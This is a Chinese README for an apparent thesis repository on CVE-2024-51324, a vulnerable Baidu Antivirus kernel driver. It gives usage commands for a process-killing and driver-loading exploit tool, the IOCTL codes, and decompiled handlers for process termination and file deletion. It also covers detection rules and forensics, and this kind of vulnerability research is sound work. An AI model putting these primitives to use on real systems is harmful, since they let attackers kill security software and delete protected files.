针对 CVE-2024-51324(BYOVD)的硕士论文研究。高级漏洞利用工具,具备 4 种操作模式(SCANNER、LOADER、KILLER、CLEANUP)、SHA-256 驱动校验及完整的学术文档。作品集项目涵盖 Windows 内核驱动安全、IOCTL 逆向工程及自带易受攻击驱动程序(BYOVD)利用。
自带易受攻击驱动(BYOVD)— 百度杀毒
BdApiUtil64.sys
三个未公开的内核原语:进程终止、任意文件删除, 以及通过绕过SectionObjectPointer实现的使用中文件删除
受影响版本:百度杀毒 v5.2.3.116083(BdApiUtil64.sys)
将易受攻击的驱动加载到内核(LOADER 模式)
本仓库包含我针对 CVE-2024-51324 的硕士论文研究,这是百度杀毒内核驱动 BdApiUtil64.sys 中的一个**自带易受攻击驱动(BYOVD)**漏洞。
NVD 记录给出的 CVSS v3.1 基础评分为 3.8(低危),向量为 AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N,对应 CWE-269(权限管理不当)。该评分并未反映本研究中所记录的实际本地攻击情况:一旦驱动被管理员加载(这是一次性步骤,可通过社会工程学或任意本地权限提升实现),之后任何进程——包括沙箱进程或标准用户进程——都可以在无需进一步权限检查的情况下发送 IOCTL。研究人员评估的 CVSS v3.1 评分 7.8(高危),向量为 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,更能准确反映加载后的实际利用情况。两个评分均在技术文档中进行了讨论。
该驱动以 SecurityDescriptor = NULL 创建设备对象 \Device\BdApiUtil,允许任何进程(无论其完整性级别如何)打开句柄并发送 IOCTL。通过 Ghidra 11.0.3 进行的静态分析表明,其内部机制比先前公开文档所描述的更为严重:驱动使用 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode),而非 ZwOpenProcess,从而完全绕过 SeAccessCheck。三个 IOCTL 原语已被完整分析,其中两个此前没有任何公开文档。
| 方面 | 描述 |
|---|---|
| 技术纠正 | ZwOpenProcess 不在导入表中;实际机制为 PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode),可无条件绕过 SeAccessCheck |
| 三个已记录的原语 | 进程终止(0x800024B4)、任意文件删除(0x80002648)、以及通过绕过 SectionObjectPointer 实现的使用中文件删除(0x8000264C)——后两者此前没有任何公开文档 |
| 四种操作模式 | LOADER、KILLER、SCANNER 和 CLEANUP——完整的生命周期管理 |
| SHA-256 校验 | 每次加载尝试前均校验驱动哈希 |
| PPL 实证测试 | 每类进程进行 10 次尝试,确认 PPL 是唯一的运行时缓解措施 |
| 取证分析 | 清理后事件 ID 7045 仍然存在;事件 ID 1102 作为清除日志时自我暴露的痕迹 |
| 检测规则 | Sigma 规则与 Sysmon 配置(按哈希匹配事件 ID 6,按注册表键匹配事件 ID 13) |
| CVSS 重新评估 | 记录了官方 NVD 评分(3.8 低危)与研究人员评估的本地利用严重性(7.8 高危)之间的差异 |
CVE-2024-51324/
├── README.md
├── LICENSE
│
├── drivers/
│ └── BdApiUtil64.sys # Driver (not distributed)
│
├── exploit/
│ ├── exploit-explanation.md
│ └── byovd_killer.py # Main exploit — 4 operational modes
│
└── docs/
├── screenshots/
│ ├── 01-byovd-scan.png
│ ├── 02-byovd-scan-target.png
│ ├── 03-byovd-load.png
│ ├── 04-byovd-load-custom.png
│ ├── 05-kill-name.gif
│ ├── 06-kill-pid.gif
│ ├── 07-kill-limit.gif
│ ├── 08-dry-run.gif
│ └── 09-byovd-cleanup.png
│
└── analysis/
├── 01-root-cause.md
├── 02-driver-analysis.md # Full Ghidra RE, three primitives, PPL testing
└── 03-timeline.md
BdApiUtil64.sys(SHA-256:47EC51B5F0EDE1E70BD66F3F0152F9EB536D534565DBB7FCC3A05F542DBE4428)python exploit/byovd_killer.py --scan
python exploit/byovd_killer.py --scan --target lsass.exe
python exploit/byovd_killer.py --load
python exploit/byovd_killer.py --load --driver C:\path\to\BdApiUtil64.sys
python exploit/byovd_killer.py --load --service-name MyService
python exploit/byovd_killer.py --kill notepad.exe
python exploit/byovd_killer.py --pid 1234
python exploit/byovd_killer.py --kill notepad.exe --max-instances 2
python exploit/byovd_killer.py --kill notepad.exe --dry-run
python exploit/byovd_killer.py --cleanup
python exploit/byovd_killer.py --cleanup --service-name MyService
| 模式 | 命令 | 权限 | 描述 |
|---|---|---|---|
| SCANNER | --scan | 任意用户 | 系统和驱动状态信息 |
| LOADER | --load | 管理员 | 通过创建内核服务加载驱动 |
| KILLER | --kill / --pid | 任意用户 | 通过 IOCTL 终止进程 |
| CLEANUP | --cleanup | 管理员 | 停止并删除驱动服务 |









通过 Ghidra 11.0.3 对 BdApiUtil64.sys 进行逆向工程,发现其攻击面比任何先前公开来源所记载的都要广泛:
| IOCTL | 处理函数 | 原语 | 先前公开文档 |
|---|---|---|---|
0x800024B4 | FUN_000152b0 | 进程终止 | 部分公开(机制描述有误) |
0x80002648 | FUN_00013bb0 | 任意文件删除 | 无 |
0x8000264C | FUN_00013850 | 使用中文件删除(SectionObjectPointer 绕过) | 无 |
0x800024B4)分发链分为三个层级:
IOCTL 0x800024B4
└─ FUN_00028630 (IRP_MJ_DEVICE_CONTROL dispatcher)
└─ FUN_00015230 (wrapper: validates IOCTL code and buffer size = 4 bytes)
└─ FUN_000152b0 (kill handler — vulnerability locus)
重构的处理函数(Ghidra):
if ((param_1 != 0) && (param_1 != 4)) {
PsLookupProcessByProcessId(param_1, &local_res10);
ObOpenObjectByPointer(
local_res10,
0x200, // OBJ_KERNEL_HANDLE
0, // PassedAccessState: NULL
0x1fffff, // PROCESS_ALL_ACCESS
0, // ObjectType: NULL
0, // AccessMode: KernelMode ← bypasses SeAccessCheck
local_res18
);
ZwTerminateProcess(local_res18[0], 0);
}
为什么 KernelMode 能绕过 SeAccessCheck:
ZwOpenProcess path:
NtOpenProcess → ObOpenObjectByName → SeAccessCheck
(checks DACL, caller token, integrity level)
can return STATUS_ACCESS_DENIED
ObOpenObjectByPointer(KernelMode) path:
SeAccessCheck ← NOT invoked
→ PROCESS_ALL_ACCESS handle granted unconditionally
ZwOpenProcess 不在该驱动的导入表中。先前资料中基于 ZwOpenProcess 的描述在技术上是错误的。
0x80002648)处理函数 FUN_00013bb0 接收 Unicode 路径,校验 InputBufferLength ≥ 0x208,然后委托给 FUN_00013c10。该子处理函数以内核模式打开文件(不检查调用者令牌的 SeAccessCheck),并分发 FileInformationClass = 0xD(FileDispositionInformation)的 IRP_MJ_SET_INFORMATION IRP,将文件标记为待删除。内核可访问的任何文件都可以被删除,无论 NTFS 权限如何。
0x8000264C)处理函数 FUN_000139d0 访问 FileObject->SectionObjectPointer(位于 FILE_OBJECT 结构中偏移 0x28 处),并在分发删除 IRP 之前临时将两个字段置空:
plVar1 = FileObject->SectionObjectPointer;
plVar1[2] = 0; // DataSectionObject → NULL
plVar1[0] = 0; // ImageSectionObject → NULL